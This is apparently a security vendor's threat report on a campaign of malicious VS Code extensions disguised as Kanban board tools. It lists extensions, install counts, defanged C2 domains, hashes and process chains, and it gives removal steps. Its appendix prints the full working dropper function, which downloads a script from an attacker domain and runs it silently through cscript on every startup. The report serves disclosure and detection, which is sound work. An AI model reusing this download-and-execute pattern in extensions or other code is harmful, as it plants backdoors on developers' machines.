Previous post: Update and Infect: How the SaassyCode Campaign Grew from Two Extensions to Nineteen โ
On June 8, 2026, Knostic published findings on the SaassyCode campaign: a coordinated family of nineteen malicious VS Code extensions posing as Trello-style Kanban board tools, with combined installs exceeding 17,544. In the two days that followed, the campaign published five more.
As of June 11, the total stands at 24 confirmed extensions and more than 32,000 installs across the full campaign. One extension โ Boardwalk Plus โ remains live on the VS Code Marketplace.
All five extensions were published on June 9โ10, 2026, two to three days after the original disclosure. All use the same Kanban board lure, the same activationEvents: ["*"] pattern, and the same execution chain as the documented family.
|
# |
Extension |
Publisher |
Published |
Installs |
Status |
C2 |
|
20 |
AppCreationsPLC |
Jun 10 |
6,385 |
๐ด LIVE |
urmomthabomb[.]com/java[.]js |
|
|
21 |
StevenSystems |
Jun 9 |
8,227 |
Removed |
HTA chain (Cloudflare) |
|
|
22 |
AppCreationLLP |
Jun 9 |
0 |
Removed |
urmomthabomb[.]com/java[.]js |
|
|
23 |
AppCreationPLC |
Jun 9 |
0 |
Removed |
urmomthabomb[.]com/java[.]js |
|
|
24 |
TaskRblx |
Jun 9 |
0 |
Removed |
urmomthabomb[.]com/java[.]js (obfuscated) |
Boardwalk Plus is the only extension from this wave still available for install. Static analysis of the VSIX confirms it is a direct family member with no ambiguity.
What it does: Upon activation, the extension silently downloads a JavaScript file from an attacker-controlled domain and executes it using Windows Script Host. The execution happens on every VS Code startup with no user interaction.
code.exe โ node.exe โ https.get(urmomthabomb[.]com/java[.]js)
โ write %TEMP%\lizzy.js
โ cscript.exe //nologo //e:jscript %TEMP%\lizzy.js
The extension carries a fully functional Kanban board UI โ the stated purpose works. This makes it harder for users to suspect the extension and extends the window before victims investigate or remove it.
It was malicious from day one. Unlike TrelloBlox (the sleeper confirmed in the previous report), Boardwalk Plus carries no clean version. Version 1.7.3 is the only version published, and it was malicious on publication.
The C2 domain urmomthabomb[.]com is new infrastructure not present in any prior SaassyCode IOC list. This is consistent with the actor's documented pattern of rotating domains after exposure.
If you have this extension installed, remove it immediately:
code --uninstall-extension AppCreationsPLC.boardwalkdevapp
EasyStudio is the most significant extension from this wave in terms of impact. It used a sleeper strategy: version 1.6.0 was published clean on June 7 โ the day before our June 8 disclosure. Version 1.8.0, published June 10, contained the malicious payload.
This is the same technique documented for TrelloBlox in the original post โ an extension that builds a legitimate install base and then delivers a malicious update through the normal VS Code update mechanism. Users who had installed 1.6.0 and had automatic extension updates enabled would have received the weaponised version silently.
EasyStudio used the HTA execution chain โ the more advanced delivery technique introduced by BloxyTask โ rather than the simpler JScript downloader. With 8,227 installs, it is the highest-install confirmed malicious extension in the new wave. It has since been removed from the Marketplace.
Three extensions in this wave โ Boardwalk Plus (AppCreationsPLC), Boardwalk - Manager (AppCreationLLP), and Boardwalk (AppCreationPLC) โ are connected by shared infrastructure, publisher naming, and identical code. All three download from urmomthabomb[.]com/java[.]js and write to %TEMP%\lizzy.js. The publisher names are close variants of each other, consistent with automated account generation.
TaskRblx shares the same C2 but introduces heavy JavaScript obfuscation โ the same evasion technique documented for the Cluster F extensions in the original report. The C2 URL is embedded in obfuscated string arrays, split across multiple concatenated fragments, with no plaintext IOC visible to static analysis. Despite the obfuscation, partial deobfuscation during analysis confirmed the domain.
|
Metric |
Value |
|
Total confirmed extensions |
24 |
|
Total confirmed installs |
>32,000 |
|
Campaign window |
May 20 โ June 10, 2026 (22 days) |
|
Extensions still live |
1 (Boardwalk Plus) |
|
Distinct C2 domains identified |
6+ |
|
Publisher accounts used |
20+ |
The installs figure (>32,000) reflects Marketplace download counts. Actual infection rates are lower โ the payload execution chain targets Windows only and requires VS Code to restart after installation.
All indicators defanged. Do not fetch C2 URLs directly.
New Network IOCs (this post)
|
Indicator |
Extension |
Notes |
|
hxxps://www[.]urmomthabomb[.]com/java[.]js |
Boardwalk Plus, Boardwalk, Boardwalk - Manager, TaskRblx |
JScript payload download |
Filesystem IOCs (Boardwalk cluster)
|
Path |
Notes |
|
%TEMP%\lizzy.js |
Dropped payload โ Boardwalk cluster |
|
VS Code extension dir: appcreationsplc.boardwalkdevapp-1.7.3 |
Boardwalk Plus install path |
Process Chain (Boardwalk cluster)
|
Parent |
Child |
Command Line |
|
code.exe |
cscript.exe |
cscript //nologo //e:jscript "%TEMP%\lizzy.js" |
Sample Hashes (VSIX SHA-256)
|
Extension |
SHA-256 |
AgentMesh |
|
Boardwalk Plus |
1a55c6fa904d178360212aeb211170b80437579d915ccde466a458a821e968d6 |
|
|
EasyStudio (v1.8.0) |
c93b4f82f200db997917a1fbce7308afb5179a2aff0bd9ed0257f73b140e6958 |
|
|
Boardwalk - Manager |
7d9a2b966a30ed8829e042d4183cefbcbb4cad79498e5b89f5bf0b62cf663e6c |
|
|
Boardwalk |
e1405eb7bcbe58b5b378a8ccbcf67ac281182a2062ce2d15f5065257821cf9d3 |
|
|
TaskRblx |
e791d3e4bab99b41ce572e4ffff65b49862598b08c01a6efa153333b6d9c8040 |
For IOCs from the original nineteen extensions (including all BloxyTask and Cluster F indicators), see the June 8 post.
The actor published five extensions in the two days after Knostic's disclosure. Four have since been removed; one is still live as of the time of this publication. The tempo โ and the continued use of the same lure text, activation pattern, and execution chain โ confirms this is the same actor operating against the same target set.
VirusTotal's sandbox partially executed the Boardwalk Plus payload chain and observed the C2 connection but did not classify the sample as malicious. AgentMesh flagged it on publication. At the time this post is published, Boardwalk Plus remains available for install on the VS Code Marketplace.
If you are a developer: check your installed extensions against the full family list and remove any matches. If you have VS Code automatic extension updates enabled, check your version history โ not just your current install.
If your organisation manages developer workstations: the process relationship code.exe โ cscript.exe or code.exe โ mshta.exe is not a normal VS Code child process. Both are early, high-confidence signals of compromise.
Investigate your VS Code extension exposure with AgentMesh โ
All network indicators in this post are defanged. All hashes are SHA-256. Analysis was performed using static methods only โ no malicious code was executed. EasyStudio dynamic analysis is pending; the HTA chain execution details documented here are based on static code inspection and comparison with confirmed BloxyTask behaviour.
Related: Update and Infect: How the SaassyCode Campaign Grew from Two Extensions to Nineteen ยท New VS Code extensions attack campaign: SaassyCode โ ManageRBLX & TrelloBlox
This section contains only information not published in the blog post above: full extension metadata, dropper source code, evasion analysis, additional IOCs, complete remediation steps, and methodology notes.
THREAT STATUS: ACTIVE โ Boardwalk Plus remains live as of 2026-06-11. C2 infrastructure live. Remove immediately if installed.
|
Field |
Value |
|
Publisher |
AppCreationsPLC |
|
Extension ID |
appcreationsplc.boardwalkdevapp |
|
Version Analyzed |
1.7.3 |
|
Install Count (2026-06-11) |
6,385 โ still live |
|
SHA-256 (VSIX) |
1a55c6fa904d178360212aeb211170b80437579d915ccde466a458a821e968d6 |
|
AgentMesh |
|
|
Malicious code location |
extension/src/extension.js, lines 14โ37 |
|
Activation trigger |
activationEvents: ["*"] โ every VS Code startup |
|
Analysis date |
2026-06-11 |
Full activate() function from extension/src/extension.js. C2 URL defanged.
function activate(context) {
try {
const scriptUrl = 'hxxps://www[.]urmomthabomb[.]com/java[.]js';
const scriptPath = path.join(os.tmpdir(), 'lizzy.js');
const downloadPromise = new Promise((resolve, reject) => {
https.get(scriptUrl, (res) => {
const file = require('fs').createWriteStream(scriptPath);
res.pipe(file);
file.on('finish', () => { file.close(); resolve(); });
}).on('error', reject);
});
downloadPromise.then(() => {
const cscriptPath = process.platform === 'win32'
? 'cscript'
: path.join(os.tmpdir(), 'cscript.exe');
const cmd = `"${cscriptPath}" //nologo //e:jscript "${scriptPath}"`;
cp.exec(cmd, (error, stdout, stderr) => {
if (error) console.error('Payload exec failed:', error);
});
}).catch(console.error);
} catch (e) {} // silent failure โ no crash, no detection
}
Evasion Techniques
At time of analysis, hxxps://www[.]urmomthabomb[.]com/java[.]js returned a placeholder string. The live payload may be served conditionally based on victim fingerprinting or rotated after detection. Do not fetch. Any direct request will fingerprint the requester against attacker infrastructure.
Stage 2 placeholder hash (SHA-256): d4b6e6b96ce059993f895266baec99539c9830b4269652b3937a361a84abfd9b
|
Type |
Value |
Notes |
|
Type |
Value |
Notes |
|
File path |
%LOCALAPPDATA%\...\extensions\appcreationsplc.boardwalkdevapp-1.7.3\ |
Boardwalk Plus install directory |
|
Hash (SHA-256) |
d4b6e6b96ce059993f895266baec99539c9830b4269652b3937a361a84abfd9b |
Stage 2 C2 placeholder payload (at time of analysis) |
|
Cluster |
Extensions |
Payload delivery |
Published |
|
G |
Boardwalk Plus, Boardwalk - Manager, Boardwalk |
urmomthabomb[.]com/java[.]js โ JScript downloader |
Jun 9โ10 |
|
G (obfuscated) |
TaskRblx |
Same C2, javascript-obfuscator evasion layer |
Jun 9 |
|
C (new member) |
EasyStudio |
HTA chain via Cloudflare Worker โ sleeper, weaponised Jun 10 |
Jun 9 |
Static analysis only โ no malicious code was executed. VSIX extracted as ZIP; package.json, extension.js, and icon.png examined statically. IOC extraction via code inspection. Attribution by cross-referencing lure text, activation events, execution chain skeleton, temp file naming, and publisher account patterns against the documented SaassyCode family.